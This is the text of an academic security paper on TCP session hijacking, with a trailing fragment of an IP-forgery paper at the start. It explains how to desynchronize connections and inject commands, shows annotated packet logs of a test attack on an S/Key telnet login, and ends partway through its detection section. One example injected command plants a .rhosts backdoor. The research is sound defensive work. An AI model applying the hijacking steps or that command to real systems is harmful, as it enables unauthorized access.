can be done today. All that remains is for the people in each of these organizations to implement these protections. Unlike so many of the problems in the Internet that are hard to solve and will require years of evolution, this problem can be solved now. We encourage you to implement these protections at your earliest convenience and to urge other to do so as well. Together, we can eliminate IP address forgery. Simple Active Attack Against TCP Laurent Joncheray Merit Network, Inc. 4251 Plymouth Road, Suite C Ann Arbor, MI 48105, USA Phone: +1 (313) 936 2065 Fax: +1 (313) 747 3185 E-mail: lpj@merit.edu Abstract This paper describes an active attack against the Transport Control Protocol (TCP) which allows a cracker to redirect the TCP stream through his machine thereby permitting him to bypass the protection offered by such a system as a one-time password [skey] or ticketing authentication [kerberos]. The TCP connection is vulnerable to anyone with a TCP packet sniffer and generator located on the path followed by the connection. Some schemes to detect this attack are presented as well as some methods of prevention and some interesting details of the TCP protocol behaviors. 1. Introduction Passive attacks using sniffers are becoming more and more frequent on the Internet. The attacker obtains a user id and password that allows him to logon as that user. In order to prevent such attacks people have been using identification schemes such as one-time password [skey] or ticketing identification [kerberos]. Though they prevent password sniffing on an unsecure network these methods are still vulnerable to an active attack as long as they neither encrypt nor sign the data stream. [Kerberos also provides an encrypted TCP stream option.] Still many people are complacent believing that active attacks are very difficult and hence a lesser risk. The following paper describes an extremely simple active attack which has been successfully used to break into Unix hosts and which can be done with the same resources as for a passive sniffing attack. [The attacks have been performed with a test software and the users were aware of the attack. Although we do not have any knowledge of such an attack being used on the Internet, it may be possible.] Some uncommon behaviors of the TCP protocol are also presented as well as some real examples and statistical studies of the attack's impact on the network. Finally some detection and prevention schemes are explained. In order to help any reader unfamiliar with the subtleties of the TCP protocol the article starts with a short description of TCP. The reader can also refers to another attack by R. Morris presented in [morris85]. Though the following attack is related to Morris' one, it is more widely usable on any TCP connection. In section 7 we present and compare this attack with the present one. The presentation of the attack will be divided into three parts: the ``Established State'' which is the state where the session is open and data is exchanged; the set up (or opening) of such a session; and finally some real examples. 2. Established State 2.1 The TCP protocol This section offers a short description of the TCP protocol. For more details the reader can refer to [rfc793]. TCP provides a full duplex reliable stream connection between two end points. A connection is uniquely defined by the quadruple (IP address of sender, TCP port number of the sender, IP address of the receiver, TCP port number of the receiver). Every byte that is sent by a host is marked with a sequence number (32 bits integer) and is acknowledged by the receiver using this sequence number. The sequence number for the first byte sent is computed during the connection opening. It changes for any new connection based on rules designed to avoid reuse of the same sequence number for two different sessions of a TCP connection. We shall assume in this document that one point of the connection acts as a server (for instance a telnet server) and the other as the client. The following terms will be used: SVR_SEQ: sequence number of the next byte to be sent by the server; SVR_ACK: next byte to be received by the server (the sequence number of the last byte received plus one); SVR_WIND: server's receive window; CLT_SEQ: sequence number of the next byte to be sent by the client; CLT_ACK: next byte to be received by the client; CLT_WIND: client's receive window; At the beginning when no data has been exchanged we have SVR_SEQ = CLT_ACK and CLT_SEQ = SVR_ACK. These equations are also true when the connection is in a 'quiet' state (no data being sent on each side). They are not true during transitory states when data is sent. The more general equations are: CLT_ACK <= SVR_SEQ <= CLT_ACK + CLT_WIND SVR_ACK <= CLT_SEQ <= SVR_ACK + SVR_WIND The TCP packet header fields are: Source Port: The source port number; Destination Port: The destination port number; Sequence number: The sequence number of the first byte in this packet; Acknowledgment Number: The expected sequence number of the next byte to be received; Data Offset: Offset of the data in the packet; Control Bits: URG: Urgent Pointer; ACK: Acknowledgment; PSH: Push Function; RST: Reset the connection; SYN: Synchronize sequence numbers; FIN: No more data from sender; Window: Window size of the sender; Checksum: TCP checksum of the header and data; Urgent Pointer: TCP urgent pointer; Options: TCP options; - SEG_SEQ will refer to the packet sequence number (as seen in the header). - SEG_ACK will refer to the packet acknowledgment number. - SEG_FLAG will refer to the control bits. On a typical packet sent by the client (no retransmission) SEG_SEQ is set to CLT_SEQ, SEG_ACK to CLT_ACK. TCP uses a ``three-way handshake'' to establish a new connection. If we suppose that the client initiates the connection to the server and that no data is exchanged, the normal packet exchange is (C.f. Figure 1): - The connection on the client side is on the CLOSED state. The one on the server side is on the LISTEN state. - The client first sends its initial sequence number and sets the SYN bit: SEG_SEQ = SEG_FLAG CLT_SEQ_0, = SYN Its state is now SYN-SENT - On receipt of this packet the server acknowledges the client sequence number, sends its own initial sequence number and sets the SYN bit: SEG_SEQ = SVR_SEQ_0, SEQ_ACK = CLT_SEQ_0+1, SEG_FLAG = SYN and set SVR_ACK=CLT_SEQ_0+1 Its state is now SYN-RECEIVED - On receipt of this packet the client acknowledges the server sequence number: SEG_SEQ = CLT_SEQ_0+1, SEQ_ACK = SVR_SEQ_0+1 and sets CLT_ACK=SVR_SEQ_0+1 Its state is now ESTABLISHED - On receipt of this packet the server enters the ESTABLISHED state. We now have: CLT_SEQ = CLT_SEQ_0+1 CLT_ACK = SVR_SEQ_0+1 SVR_SEQ = SVR_SEQ_0+1 SVR_ACK = CLT_SEQ_0+1 Server Client LISTEN CLOSED <- SYN, CLT_SEQ_0 LISTEN SYN-SENT SYN, -> SVR_SEQ_0, CLT_SEQ_0+1 SYN-RECEIVED ESTABLISHED SVR_SEQ = CLT_SEQ_0 + 1 CLT_ACK = SVR_SEQ_0 + 1 <- ACK, CLT_SEQ_0 + 1 SVR_SEQ_0+1 ESTABLISHED SVR_SEQ = SVR_SEQ_0 + 1 SVR_ACK = CLT_SEQ_0 + 1 figure 1: Example of a connection opening Closing a connection can be done by using the FIN or the RST flag. If the RST flag of a packet is set the receiving host enters the CLOSED state and frees any resource associated with this instance of the connection. The packet is not acknowledged. Any new incoming packet for that connection will be dropped. If the FIN flag of a packet is set the receiving host enters the CLOSE-WAIT state and starts the process of gracefully closing the connection. The detail of that procces is beyond the scope of this document. The reader can refer to [rfc793] for further details. In the preceding example we specifically avoided any unusual cases such as out-of-band packets, retransmission, loss of packet, concurrent opening, etc... These can be ignored in this simple study of the attack. When in ESTABLISHED state, a packet is acceptable if its sequence number falls within the expected segment [SVR_ACK, SVR_ACK + SVR_WIND] (for the server) or [CLT_ACK, CLT_ACK + CLT_WIND] (for the client). If the sequence number is beyond those limits the packet is dropped and a acknowledged packet will be sent using the expected sequence number. SEG_SEQ = 200, SVR_ACK = 100, SVR_WIND For example if = 50 Then SEG_SEQ > SVR_ACK + SVR_WIND. The server forms a ACK packet with SEG_SEQ = SVR_SEQ SEG_ACK = SVR_ACK which is what the server expects to see in the packet. 2.2 A desynchronized state The term ``desynchronized state'' will refer to the connection when both sides are in the ESTABLISHED state, no data is being sent (stable state), and SVR_SEQ != CLT_ACK CLT_SEQ != SVR_ACK This state is stable as long as no data is sent. If some data is sent two cases can occur: - If CLT_SEQ < SVR_ACK + SVR_WIND and CLT_SEQ > SVR_ACK the packet is acceptable, the data may be stored for later use (depending on the implementation) but not sent to the user since the beginning of the stream (sequence number SVR_ACK) is missing. - If CLT_SEQ > SVR_ACK + SVR_WIND or CLT_SEQ < SVR_ACK the packet is not acceptable and will be dropped. The data is lost. In both case data exchange is not possible even if the state exists. 2.3 The attack The proposed attack consists of creating a desynchronized state on both ends of the TCP connection so that the two points cannot exchange data any longer. A third party host is then used to create acceptable packets for both ends which mimics the real packets. Assume that the TCP session is in a desynchronized state and that the client sends a packet with SEG_SEQ = CLT_SEQ SEG_ACK = CLT_ACK Since CLT_SEQ != SVR_ACK the data will not be accepted and the packet is dropped. The third party then sends the same packet but changes the SEG_SEQ and SEG_ACK (and the checksum) such that SEG_SEQ = SVR_ACK, SEG_ACK = SVR_SEQ which is acceptable by the server. The data is processed by the server. If CLT_TO_SVR_OFFSET refers to SVR_ACK - CLT_SEQ and SVR_TO_CLT_OFFSET refers to CLT_ACK - SVR_SEQ then the first party attacker has to rewrite the TCP packet from the client to the server as: SEG_SEQ <- SEG_SEQ + CLT_TO_SVR_OFFSET SEG_ACK <- SEG_ACK - SVR_TO_CLT_OFFSET Considering that the attacker can listen to any packet exchanged between the two points and can forge any kind of IP packet (therefore masquerading as either the client or the server) then everything acts as if the connection goes through the attacker machine. This one can add or remove any data to the stream. For instance if the connection is a remote login using telnet the attacker can include any command on behalf of the user ("echo merit.edu lpj > ~/.rhosts" is an example of such a command) and filter out any unwanted echo so that the user will not be aware of the intruder. Of course in this case CLT_TO_SVR_OFFSET and SVR_TO_CLT_OFFSET have to change. The new values are let as an exercise for the reader. [One can turn off the echo in the telnet connection in order to avoid the burden of filtering the output. The test we did showed up a bug in the current telnet implementation (or maybe in the telnet protocol itself). If a TCP packet contains both IAC DONT ECHO and IAC DO ECHO the telnet processor will answer with IAC WONT ECHO and IAC WILL ECHO. The other end point will acknowledge IAC DONT ECHO and IAC DO ECHO etc... creating an endless loop.] 2.4 ``TCP Ack storm'' A flaw of the attack is the generation of a lot of TCP ACK packets. When receiving an unacceptable packet the host acknowledges it by sending the expected sequence number (As the Acknolegement number. C.f. introduction about TCP) and using its own sequence number. This packet is itself unacceptable and will generate an acknowledgement packet which in turn will generate an acknowledgement packet etc... creating a supposedly endless loop for every data packet sent. Since these packets do not carry data they are not retransmitted if the packet is lost. This means that if one of the packets in the loop is dropped then the loop ends. Fortunately (or unfortunately?) TCP uses IP on an unreliable network layer with a non null packet loss rate, making an end to the loops. Moreover the more packets the network drops, the shorter is the Ack storm (the loop). We also notice that these loops are self regulating: the more loops we create the more traffic we get, the more congestion and packet drops we experience and the more loops are killed. The loop is created each time the client or the server sends data. If no data is sent no loop appears. If data is sent and no attacker is there to acknowledge the data then the data will be retransmitted, a storm will be created for each retransmission, and eventually the connection will be dropped since no ACK of the data is sent. If the attacker acknowledges the data then only one storm is produced (in practice the attacker often missed the data packet due to the load on the network, and acknowledge the first of subsequent retransmission). The attack uses the second type of packet described in Section 2.2. The first case in which the data is stored by the receiver for later processing has not been tested. It has the advantage of not generating the ACK storm but on the other hand it may be dangerous if the data is actually processed. It is also difficult to use with small window connections. 3. Setup of the session This paper presents two methods for desynchronizing a TCP connection. Others can be imagined but will not be described here. We suppose that the attacker can listen to every packet sent between the two end points. 3.1 Early desynchronization This method consists of breaking the connection in its early setup stage on the server side and creating a new one with different sequence number. Here is the process (Figure 2 summarizes this process) - The attacker listens for a SYN/ACK packet from the server to the client (stage 2 in the connection set up). - On detection of that packet the attacker sends the server a RST packet and then a SYN packet with exactly the same parameters (TCP port) but a different sequence number (referred to as ATK_ACK_0 in the rest of the paper). - The server will close the first connection when it receives the RST packet and then reopens a new one on the same port but with a different sequence number (SVR_SEQ_0') on receipt of the SYN packet. It sends back a SYN/ACK packet to the client. - On detection of that packet the attacker sends the server a ACK packet. The server switches to the ESTABLISHED state. - The client has already switched to the ESTABLISHED state when it receives the first SYN/ACK packet from the server. Server Client LISTEN CLOSED <- SYN, CLT_SEQ_0 SYN-RECEIVED SYN-SENT SYN, -> SVR_SEQ_0, CLT_SEQ_0+1 ESTABLISHED SVR_SEQ = CLT_SEQ_0 + 1 CLT_ACK = SVR_SEQ_0 + 1 <= RST, CLT_SEQ_0 + 1 CLOSED <= SYN, ATK_SEQ_0 SYN, SVR_SEQ_0', ATK_SEQ_0 + 1 SYN-RECEIVED -> <= SYN, ATK_SEQ_0 + 1, SVR_SEQ_0' + 1 ESTABLISHED SVR_SEQ = SVR_SEQ_0' + 1 SVR_ACK = ATK_SEQ_0 + 1 Figure 2: A attack scheme. The attacker's packets are marked with <= This diagram does not show the unacceptable acknowledgement packet exchanges. Both ends are in the desynchronized ESTABLISHED state now. SVR_TO_CLT_OFFSET = SVR_SEQ_0 - SVR_SEQ_0' is fixed by the server. CLT_TO_SVR_OFFSET = ATK_SEQ_0 - CLT_SEQ_0 is fixed by the attacker. The success of the attack relies on the correct value being chosen for CLT_TO_SVR_OFFSET. Wrong value may make the client's packet acceptable and can produce unwanted effects. 3.2 Null data desynchronization This method consists for the attacker in sending a large amount of data to the server and to the client. The data sent shouldn't affect nor be visible to the client or sever, but will put both end of the TCP session in the desynchronized state. The following scheme can be used with a telnet session: - The attacker watchs the session without interfering. - When appropriate the attacker sends a large amount of ``null data'' to the server. ``Null data'' refers to data that will not affect anything on the server side besides changing the TCP acknowledgment number. [For instance with a telnet session the attacker sends ATK_SVR_OFFSET bytes consisting of the sequence IAC NOP IAC NOP... Every two bytes IAC NOP will be interpreted by the telnet daemon, removed from the stream of data and nothing will be affected. [The telnet protocol [telnet] defines the NOP command as ``No Operation''. In other words, do nothing, just ignore those bytes.] Now the Server has SVR_ACK = CLT_SEQ + ATK_SVR_OFFSET which of course is desynchronized. - The attacker does the same thing with the client. The method is useful if the session can carry ``null data''. The time when the attacker sends that data is also very difficult to determine and may cause some unpredictable side effects. 4. Examples The following logs are provided by running a hacked version of tcpdump [tcpdump] on the local ethernet where the client resides. Comments are preceded by `##'. The first example is a normal telnet session opening between 35.42.1.56 (the client) and 198.108.3.13 (the server). ## The client sends a SYN packet, 1496960000 is its initial sequence nu mber. 11:07:14.934093 35.42.1.56.1374 > 198.108.3.13.23: S 1496960000:1496960000(0) w in 4096 ## The server answers with its initial sequence number and the SYN flag . 11:07:14.936345 198.108.3.13.23 > 35.42.1.56.1374: S 1402880000:1402880000(0) a ck 1496960001 win 4096 ## The client acknowledges the SYN packet. 11:07:14.937068 35.42.1.56.1374 > 198.108.3.13.23: . 1496960001:1496960001(0) a ck 1402880001 win 4096 ## Now the two end points are in the ESTABLISHED state. ## The client sends 6 bytes of data. 11:07:15.021817 35.42.1.56.1374 > 198.108.3.13.23: P 1496960001:1496960007(6) ack 1402880001 win 4096 255 253 /C 255 251 /X [... ## The rest of the log is the graceful closing of the connection 11:07:18.111596 198.108.3.13.23 > 35.42.1.56.1374: F 1402880059:1402880059(0) a ck 1496960025 win 4096 11:07:18.112304 35.42.1.56.1374 > 198.108.3.13.23: . 1496960025:1496960025(0) a ck 1402880060 win 4096 11:07:18.130610 35.42.1.56.1374 > 198.108.3.13.23: F 1496960025:1496960025(0) a ck 1402880060 win 4096 11:07:18.132935 198.108.3.13.23 > 35.42.1.56.1374: . 1402880060:1402880060(0) a ck 1496960026 win 4095 The next example is the same session with an intrusion by the attacker. The desynchronized state is created in the early stage of the session (subsection 3.1). The attacker will add the command 'ls;' to the stream of data. The user uses skey to identify himself to the server. From the user's point of view the session looks like this: <lpj@homefries: 1> telnet 198.108.3.13 Trying 198.108.3.13 ... Connected to 198.108.3.13. Escape character is '^'. SunOS UNIX (_host) login: lpj s/key 70 cn33287 (s/key required) Password: Last login: Wed Nov 30 11:28:21 from homefries.merit.edu SunOS Release 4.1.3_U1 (GENERIC) #2: Thu Jan 20 15:58:03 PST 1994 (lpj@_host: 1) pwd Mail/ mbox src/ elm* resize* traceroute* /usr/users/lpj (lpj@_host: 2) history 1 13:18 ls ; pwd 2 13:18 history (lpj@_host: 3) logoutConnection closed by foreign host. <lpj@homefries: 2> The user types only one command 'pwd' and then asks for the history of the session. The history shows that a ls' has also being issued. The ls command produces an output which has not been filtered. The following log shows the TCP packet exchanges between the client and the server. Unfortunately some packets are missing from this log because they have been dropped by the sniffer's ethernet interface driver. One must see that log like a snapshot of a few instants of the exchange more than the full transaction log. The attacker's window size has been set to uncommon values (400, 500, 1000) in order to make its packets more easily traceable. The attacker is on 35.42.1, three hops away from the server, on the path from the client to the server. The names and addresses of the hosts have been changed for security reasons. ## The client sends a SYN packet, 896896000 is its initial sequence num ber. 11:25:38.946119 35.42.1.146.1098 > 198.108.3.13.23: S 896896000:896896000(0) wi n 4096 ## The server answers with its initial sequence number (1544576000) and the SYN flag. 11:25:38.948408 198.108.3.13.23 > 35.42.1.146.1098: S 1544576000:1544576000(0) ack 896896001 win 4096 ## The client acknowledges the SYN packet. It is in the ESTABLISHED sta te now. 11:25:38.948705 35.42.1.146.1098 > 198.108.3.13.23: . 896896001:896896001(0) ac k 1544576001 win 4096 ## The client sends some data 11:25:38.962069 35.42.1.146.1098 > 198.108.3.13.23: P 896896001:896896007(6) ack 1544576001 win 4096 255 253 /C 255 251 /X ## The attacker resets the connection on the server side 11:25:39.015717 35.42.1.146.1098 > 198.108.3.13.23: R 896896101:896896101(0) wi n 0 ## The attacker reopens the connection with an initial sequence number of 601928704 11:25:39.019402 35.42.1.146.1098 > 198.108.3.13.23: S 601928704:601928704(0) wi n 500 ## The server answers with a new initial sequence number (1544640000) a nd the SYN flag. 11:25:39.022078 198.108.3.13.23 > 35.42.1.146.1098: S 1544640000:1544640000(0) ack 601928705 win 4096 ## Since the last packet is unacceptable for the client, it acknowledge s it ## with the expected sequence number (1544576001) 11:25:39.022313 35.42.1.146.1098 > 198.108.3.13.23: . 896896007:896896007(0) ac k 1544576001 win 4096 ## Retransmission to the SYN packet triggered by the unacceptable last packet 11:25:39.023780 198.108.3.13.23 > 35.42.1.146.1098: S 1544640000:1544640000(0) ack 601928705 win 4096 ## The ACK storm loop 11:25:39.024009 35.42.1.146.1098 > 198.108.3.13.23: . 896896007:896896007(0) ac k 1544576001 win 4096 11:25:39.025713 198.108.3.13.23 > 35.42.1.146.1098: S 1544640000:1544640000(0) ack 601928705 win 4096 11:25:39.026022 35.42.1.146.1098 > 198.108.3.13.23: . 896896007:896896007(0) ac k 1544576001 win 4096 [... 11:25:39.118789 198.108.3.13.23 > 35.42.1.146.1098: S 1544640000:1544640000(0) ack 601928705 win 4096 11:25:39.119102 35.42.1.146.1098 > 198.108.3.13.23: . 896896007:896896007(0) ac k 1544576001 win 4096 11:25:39.120812 198.108.3.13.23 > 35.42.1.146.1098: S 1544640000:1544640000(0) ack 601928705 win 4096 11:25:39.121056 35.42.1.146.1098 > 198.108.3.13.23: . 896896007:896896007(0) ac k 1544576001 win 4096 ## Eventually the attacker acknowledges the server SYN packet with the attacker's new ## sequence number (601928705). The data in this packet is the one prev iously ## sent by the client but never received. 11:25:39.122371 35.42.1.146.1098 > 198.108.3.13.23: . 601928705:601928711(6) ack 1544640001 win 400 255 253 /C 255 251 /X ## Some ACK storm 11:25:39.124254 198.108.3.13.23 > 35.42.1.146.1098: . 1544640001:1544640001(0) ack 601928711 win 4090 11:25:39.124631 35.42.1.146.1098 > 198.108.3.13.23: . 896896007:896896007(0) ac k 1544576001 win 4096 11:25:39.126217 198.108.3.13.23 > 35.42.1.146.1098: . 1544640001:1544640001(0) ack 601928711 win 4090 11:25:39.126632 35.42.1.146.1098 > 198.108.3.13.23: . 896896007:896896007(0) ac k 1544576001 win 4096 [... 11:25:41.261885 35.42.1.146.1098 > 198.108.3.13.23: . 601928728:601928728(0) ac k 1544640056 win 1000 ## A retransmission by the client 11:25:41.422727 35.42.1.146.1098 > 198.108.3.13.23: P 896896018:896896024(6) ack 1544576056 win 4096 255 253 /A 255 252 /A 11:25:41.424108 198.108.3.13.23 > 35.42.1.146.1098: . 1544640059:1544640059(0) ack 601928728 win 4096 [... 11:25:42.323262 35.42.1.146.1098 > 198.108.3.13.23: . 896896025:896896025(0) ac k 1544576059 win 4096 11:25:42.324609 198.108.3.13.23 > 35.42.1.146.1098: . 1544640059:1544640059(0) ack 601928728 win 4096 ## The user ID second character. 11:25:42.325019 35.42.1.146.1098 > 198.108.3.13.23: P 896896025:896896026(1) ack 1544576059 win 4096 p 11:25:42.326313 198.108.3.13.23 > 35.42.1.146.1098: . 1544640059:1544640059(0) ack 601928728 win 4096 [... 11:25:43.241191 35.42.1.146.1098 > 198.108.3.13.23: . 601928731:601928731(0) ac k 1544640060 win 1000 ## Retransmission 11:25:43.261287 198.108.3.13.23 > 35.42.1.146.1098: P 1544640059:1544640061(2) ack 601928730 win 4096 l p 11:25:43.261598 35.42.1.146.1098 > 198.108.3.13.23: . 896896027:896896027(0) ac k 1544576061 win 4096 [... 11:25:43.294192 198.108.3.13.23 > 35.42.1.146.1098: . 1544640061:1544640061(0) ack 601928730 win 4096 11:25:43.922438 35.42.1.146.1098 > 198.108.3.13.23: P 896896026:896896029(3) ack 1544576061 win 4096 j /M /@ 11:25:43.923964 198.108.3.13.23 > 35.42.1.146.1098: . 1544640061:1544640061(0) ack 601928730 win 4096 [... 11:25:43.957528 198.108.3.13.23 > 35.42.1.146.1098: . 1544640061:1544640061(0) ack 601928730 win 4096 ## The attacker rewrites the packet sent by the server containing the s key challenge 11:25:44.495629 198.108.3.13.23 > 35.42.1.146.1098: P 1544576064:1544576082(18) ack 896896029 win 1000 s / k e y 7 0 c n 3 3 2 8 7 /M /J 11:25:44.502533 198.108.3.13.23 > 35.42.1.146.1098: P 1544576082:1544576109(27) ack 896896029 win 1000 ( s / k e y r e q u i r e d ) /M /J P a s s w o r d : 11:25:44.522500 35.42.1.146.1098 > 198.108.3.13.23: . 896896029:896896029(0) ac k 1544576109 win 4096 [... 11:25:44.558320 198.108.3.13.23 > 35.42.1.146.1098: . 1544640109:1544640109(0) ack 601928733 win 4096 ## Beginning of the skey password sent by the user (client) 11:25:57.356323 35.42.1.146.1098 > 198.108.3.13.23: P 896896029:896896030(1) ack 1544576109 win 4096 T 11:25:57.358220 198.108.3.13.23 > 35.42.1.146.1098: . 1544640109:1544640109(0) ack 601928733 win 4096 [... 11:25:57.412103 198.108.3.13.23 > 35.42.1.146.1098: . 1544640109:1544640109(0) ack 601928733 win 4096 ## Echo of the beginning of the skey password sent by the server 11:25:57.412456 35.42.1.146.1098 > 198.108.3.13.23: P 601928733:601928734(1) ack 1544640109 win 1000 T 11:25:57.412681 35.42.1.146.1098 > 198.108.3.13.23: . 896896030:896896030(0) ac k 1544576109 win 4096 [... 11:25:57.800953 198.108.3.13.23 > 35.42.1.146.1098: . 1544640109:1544640109(0) ack 601928734 win 4096 ## The attacker rewrites the skey password packet 11:25:57.801254 35.42.1.146.1098 > 198.108.3.13.23: P 601928734:601928762(28) ack 1544640109 win 1000 A U T S H I M L O F T V A S E M O O R I D /M /@ 11:25:57.801486 35.42.1.146.1098 > 198.108.3.13.23: . 896896058:896896058(0) ac k 1544576109 win 4096 [... 11:25:58.358275 35.42.1.146.1098 > 198.108.3.13.23: . 896896058:896896058(0) ac k 1544576109 win 4096 11:25:58.360109 198.108.3.13.23 > 35.42.1.146.1098: P 1544640263:1544640278(15) ack 601928762 win 4096 ( l p j @ _ r a d b : 1 ) 11:25:58.360418 35.42.1.146.1098 > 198.108.3.13.23: . 896896058:896896058(0) ac k 1544576109 win 4096 [... 11:26:00.919976 35.42.1.146.1098 > 198.108.3.13.23: . 896896058:896896058(0) ac k 1544576278 win 4096 ## The 'p' of the 'pwd' command typed by the user. 11:26:01.637187 35.42.1.146.1098 > 198.108.3.13.23: P 896896058:896896059(1) ack 1544576278 win 4096 p 11:26:01.638832 198.108.3.13.23 > 35.42.1.146.1098: . 1544640278:1544640278(0) ack 601928762 win 4096 [... 11:26:03.183200 35.42.1.146.1098 > 198.108.3.13.23: . 896896063:896896063(0) ac k 1544576280 win 4096 11:26:03.921272 35.42.1.146.1098 > 198.108.3.13.23: P 896896060:896896063(3) ack 1544576280 win 4096 d /M /@ 11:26:03.922886 198.108.3.13.23 > 35.42.1.146.1098: . 1544640283:1544640283(0) ack 601928767 win 4096 [... 11:26:04.339186 35.42.1.146.1098 > 198.108.3.13.23: . 896896063:896896063(0) ac k 1544576280 win 4096 11:26:04.340635 198.108.3.13.23 > 35.42.1.146.1098: P 1544640288:1544640307(19) ack 601928770 win 4096 M a i l / /I /I m b o x /I /I s r c / /M /J 11:26:04.342872 198.108.3.13.23 > 35.42.1.146.1098: P 1544640307:1544640335(28) ack 601928770 win 4096 e l m * /I /I r e s i z e * /I /I t r a c e r o u t e * /M /J 11:26:04.345480 35.42.1.146.1098 > 198.108.3.13.23: . 896896063:896896063(0) ac k 1544576280 win 4096 11:26:04.346791 198.108.3.13.23 > 35.42.1.146.1098: P 1544640335:1544640351(16) ack 601928770 win 4096 / u s r / u s e r s / l p j /M /J 11:26:04.347094 35.42.1.146.1098 > 198.108.3.13.23: . 896896063:896896063(0) ac k 1544576280 win 4096 11:26:04.348402 198.108.3.13.23 > 35.42.1.146.1098: P 1544640351:1544640366(15) ack 601928770 win 4096 ( l p j @ _ r a d b : 2 ) 11:26:04.378571 35.42.1.146.1098 > 198.108.3.13.23: . 896896063:896896063(0) ac k 1544576280 win 4096 [... 11:26:09.791045 35.42.1.146.1098 > 198.108.3.13.23: P 601928773:601928775(2) ack 1544640369 win 1000 t o 11:26:09.794653 198.108.3.13.23 > 35.42.1.146.1098: P 1544640369:1544640371(2) ack 601928775 win 4096 t o 11:26:09.794885 35.42.1.146.1098 > 198.108.3.13.23: . 896896068:896896068(0) ac k 1544576366 win 4096 [... 11:26:12.420397 35.42.1.146.1098 > 198.108.3.13.23: P 896896068:896896072(4) ack 1544576368 win 4096 r y /M /@ 11:26:12.422242 198.108.3.13.23 > 35.42.1.146.1098: . 1544640371:1544640371(0) ack 601928775 win 4096 [... 11:26:12.440765 35.42.1.146.1098 > 198.108.3.13.23: . 896896072:896896072(0) ac k 1544576368 win 4096 ## The 'ry' of the 'history' command sent by the client 11:26:16.420287 35.42.1.146.1098 > 198.108.3.13.23: P 896896068:896896072(4) ack 1544576368 win 4096 r y /M /@ 11:26:16.421801 198.108.3.13.23 > 35.42.1.146.1098: . 1544640371:1544640371(0) ack 601928775 win 4096 [... 11:26:16.483943 35.42.1.146.1098 > 198.108.3.13.23: . 896896072:896896072(0) ac k 1544576368 win 4096 ## The same packet rewritten by the attacker. 11:26:16.505773 35.42.1.146.1098 > 198.108.3.13.23: P 601928775:601928779(4) ack 1544640371 win 1000 r y /M /@ ## answer to the history command sent by the server. We can notice the 'ls ;' inclusion ## before the 'pwd' 11:26:16.514225 198.108.3.13.23 > 35.42.1.146.1098: P 1544640371:1544640437(66) ack 601928779 win 4096 r y /M /@ /M /J ; 1 /I 1 1 : 2 8 /I l s p w d /M /J 2 /I 1 1 : 2 8 /I /@ /@ /@ L /@ /@ /@ T . 220 167 168 /@ /G /@ /@ /@ /X /@ /H 137 148 /@ /@ 11:26:16.514465 35.42.1.146.1098 > 198.108.3.13.23: . 896896072:896896072(0) ac k 1544576368 win 4096 [... 11:26:16.575344 35.42.1.146.1098 > 198.108.3.13.23: . 896896072:896896072(0) ac k 1544576368 win 4096 ## The same packet rewritten by the attacker. 11:26:16.577183 198.108.3.13.23 > 35.42.1.146.1098: P 1544576368:1544576434(66) ack 896896072 win 1000 r y /M /@ /M /J ; 1 /I 1 1 : 2 8 /I l s p w d /M /J 2 /I 1 1 : 2 8 /I /@ /@ /@ L /@ /@ /@ T . 220 167 168 /@ /H / @ /@ /@ /X /@ /H 137 148 /@ /@ 11:26:16.577490 198.108.3.13.23 > 35.42.1.146.1098: . 1544640437:1544640437(0) ack 601928779 win 4096 [... ## The user log out. 11:26:20.236907 35.42.1.146.1098 > 198.108.3.13.23: P 601928781:601928782(1) ac k 1544640437 win 1000 g 11:26:20.247288 198.108.3.13.23 > 35.42.1.146.1098: . 1544576438:1544576438(0) ack 896896074 win 1000 11:26:20.253500 198.108.3.13.23 > 35.42.1.146.1098: P 1544576435:1544576436(1) ack 896896074 win 1000 o 11:26:20.287513 198.108.3.13.23 > 35.42.1.146.1098: P 1544640439:1544640440(1) ack 601928782 win 4096 g 11:26:20.287942 35.42.1.146.1098 > 198.108.3.13.23: P 896896075:896896076(1) ac k 1544576436 win 4096 o 11:26:20.289312 198.108.3.13.23 > 35.42.1.146.1098: . 1544640440:1544640440(0) ack 601928782 win 4096 11:26:20.289620 35.42.1.146.1098 > 198.108.3.13.23: . 896896076:896896076(0) ac k 1544576436 win 4096 Almost all of the packets with the ACK flag set but with no data are acknowledgement of unacceptable packets. A lot of retransmission occurs due to the load on the network and on the attacker host created by the ACK storm. The real log (including all ACK packets) is about 3000 lines long whereas the one shown here has been stripped to about 100 lines. A lot of packets have also been lost and do not show up in this log. The data collected during the test shows that one real packet sent can generate between 10 and 300 empty Ack packets. Those numbers are of course highly variable. 5. Detection and Side Effects Several flaws of that attack can be used to detect it. Three will be described here but one can imagine some other ways to detect the intrusion. - Desynchronized state detection. By comparing the sequence numbers of both ends of the connection the user can tell if the connection is in the desynchronized state. This method is feasible if we assume that the sequence numbers can be transmitted through the TCP stream without being compromised (changed) by the attacker. Local Ethernet Transit Ethernet Total TCP/s 80-100 (60-80) 1400 (87) Total Ack 25-75 (25-45) 500 (35) Total Telnet 10-20 (10-25) 140 (10) Total Telnet Ack 5-10 (45-55) 45 (33) Table 1: Percentage of ACK packets without the attack. - Ack storm detection. Some statistics on the TCP traffic conducted on our local ethernet segment outside the attack show that the average ratio of ACK without data packets per total telnet packets is around 45%. On a more loaded transit ethernet the average is about 33% (C.f Table 1) The total number of TCP packets as well as the total number of ACK and telnet packets fluctuate a lot on the local ethernet. The table shows the limits. The percentage of ACK telnet packets is very stable, around 45%. This can be explained by the fact that the telnet session is an interactive session and every character typed by the user must be echoed and acknowledged. The volume of exchanged data is very small each packet usually contains one character or one text line. The data for the transit ethernet is very consistent. Due to the high load on that segment a few packets may have been dropped by the collecting host. When the attack is conducted some of these figures change. The next table shows the results for two types of session. The data has been collected on the local ethernet only. In Table 2 the `Local connection' is a session with a host at a few IP hops from the client. The Round Trip Delay (RTD) is approximately 3ms and the actual number of hops is 4. The 'Remote connection' is a session with a RTD of about 40ms and 9 hops away. In the first case the attack is clearly visible. Even if it's very fluctuant, the percentage of TCP ACK is near 100%. Almost all of the traffic is acknowledgement packets. In the second case the detection of the attack is less obvious. The data has to be compared with the first column of Table 1 (local traffic). The percentage of TCP ACK slightly increases but not significantly. One can explain this result by the long RTD which decreases the rate of ACK packets sent. The underlying network is also used to experience between a 5% and 10% packet loss which helps in breaking the ACK loop. Local connection Remote connection Total Telnet 80-400 (60-85) 30-40 (30-35) Total Telnet Ack 75-400 (90-99) 20-25 (60-65) Percentage of ACK packets during an attack. - Increase of the packet loss and retransmission for that particular session. Though no data is available to enlighten us on that behavior the log produced during the attack shows an unusually high level of packet loss and so retransmission. Therefore this implies a deterioration of the response time for the user. The packet loss increase is caused by: - The extra load of the network due to the ACK storms. - The packet dropped by the 